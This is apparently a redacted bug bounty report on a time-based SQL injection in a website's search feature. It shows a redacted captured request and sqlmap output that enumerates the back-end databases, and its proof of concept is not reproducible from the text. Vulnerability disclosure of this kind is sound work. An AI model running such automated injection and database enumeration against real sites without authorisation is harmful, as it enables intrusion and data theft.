How it was found

Hello and greetings and respect to you, dear friends We all know that the sql injection bug is very dangerous, so this bug should be eliminated as soon as possible. I've identified an SQL injection vulnerability of type Time Based on█████████ ██████ Below, we see how we found this vulnerability If you look carefully, we see that search in the website name Search results The gap has occurred there as you can see ████████ Method [██████████████/?███████ ] now it's time to inject or generate POC with lovely tool sqlmap We used a text file here by Name request.txt and this is our command in sqlmap you can use this command for your own confidence

███ █████████

███████████/?██████ HTTP/1.1 Host: ████████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer:█████████/?███ Content-Length: 133 Cookie: ███████ Connection: Close ██████

████ █████ ___ H ___ ["]__ ___ ___ {1.7.1.5#dev} |_ -| . ["] | .'| . | || [']||_|,| | ||V... |_| ██████████

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ ██████████ █████

[████] [INFO] parsing HTTP request from 'request' [███████] ███ [███████] █████████████ Firefox/3.0b5' from file '/home/ubuntu/sqlmap/data/txt/user-agents.txt' █████ ████████ body. Do you want to process it? [Y/n/q] Y [█████] [INFO] resuming back-end █████████S 'mysql' [███] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:

Parameter: #1* ((custom) ██████) ██████████ ██████████ █████████

[████] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [████████] [INFO] the back-end ██████████████ ████ back-end ████S: ███████ [████████] [INFO] fetching database names [███████] [INFO] fetching number of databases [█████████] [WARNING] reflective value(s) found and filtering out [████████] ███ [██████████]████████ [██████████]███████ [████] ██████ [██████]█████████ [█████]████ [█████]█████████ [██████]████████ [██████]██████ [███] █████████ [██████████]██████████ [███████] ██████ [██████████]████████ [█████████]█████████ [█████████]███ [██████]██████ [██████]█████ [████████]██████████ [███████]████████ available databases [6]: ███ ████ ██████████ █████████ ███████ ███

Notice: I didn't extracted any data from the database, but just for generate POC

Impact

the hackers can be dump all information like all database tables then after that login to the website

available databases [6]: █████████ ██████████ ██████ █████ █████████ ███